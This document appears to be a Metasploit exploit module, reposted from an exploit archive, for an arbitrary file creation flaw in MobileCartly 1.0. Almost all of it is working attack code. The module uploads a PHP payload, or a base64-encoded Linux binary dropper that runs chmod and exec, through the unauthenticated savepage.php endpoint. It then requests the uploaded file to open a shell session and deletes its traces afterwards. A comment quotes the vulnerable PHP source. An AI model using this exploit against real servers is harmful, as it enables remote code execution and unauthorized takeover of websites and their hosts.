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MobileCartly 1.0 Arbitrary File Creation
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "MobileCartly 1.0 Arbitrary File Creation Vulnerability", 'Description' => %q{ This module exploits a vulnerability in MobileCartly. The savepage.php file does not do any permission checks before using file_put_contents(), which allows any user to have direct control of that function to create files under the 'pages' directory by default, or anywhere else as long as the user has WRITE permission. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yakir Wizman <yakir.wizman[at]gmail.com>', #Original discovery 'sinn3r' #Metasploit ], 'References' => [ ['EDB', '20422'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => ['linux', 'php'], 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ] ], 'Privileged' => false, 'DisclosureDate' => "Aug 10 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base directory to MobileCartly', '/mobilecartly/']) ], self.class) end def check target_uri.path << '/' if target_uri.path[-1,1] != '/' base = File.dirname("#{target_uri.path}.") res = send_request_raw({'uri'=>"#{base}/index.php"}) if res and res.body =~ /MobileCartly/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def get_write_exec_payload(fname, data) p = Rex::Text.encode_base64(generate_payload_exe) php = %Q| <?php $f = fopen("#{fname}", "wb"); fwrite($f, base64_decode("#{p}")); fclose($f); exec("chmod 777 #{fname}"); exec("#{fname}"); ?> | php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ') return php end def on_new_session(cli) if cli.type == "meterpreter" cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") end @clean_files.each do |f| print_status("#{@peer} - Removing: #{f}") begin if cli.type == 'meterpreter' cli.fs.file.rm(f) else cli.shell_command_token("rm #{f}") end rescue ::Exception => e print_error("#{@peer} - Unable to remove #{f}: #{e.message}") end end end def exploit @peer = "#{rhost}:#{rport}" # # Init target path # target_uri.path << '/' if target_uri.path[-1,1] != '/' base = File.dirname("#{target_uri.path}.") # # Configure payload names # php_fname = Rex::Text.rand_text_alpha(5) + ".php" bin_fname = Rex::Text.rand_text_alpha(5) @clean_files = [php_fname] # # Generate a payload based on target # case target['Platform'] when 'php' p = "<?php #{payload.encoded} ?>" when 'linux' bin_fname << '.bin' @clean_files << bin_fname bin = generate_payload_exe p = get_write_exec_payload("/tmp/#{bin_fname}", bin) end # # Upload payload # print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)") res = send_request_cgi({ 'uri' => "#{base}/includes/savepage.php", 'vars_get' => { 'savepage' => php_fname, 'pagecontent' => p } }) if not res print_error("#{@peer} - No response from server, will not continue.") return end # # Run payload # print_status("#{@peer} - Requesting '#{php_fname}'") send_request_raw({'uri' => "#{base}/pages/#{php_fname}"}) handler end end =begin *facepalm* <?php $page = "../pages/" . $_REQUEST['savepage']; $content = $_REQUEST['pagecontent']; file_put_contents($page, $content); ?> =end # 0day.today [2024-12-25] #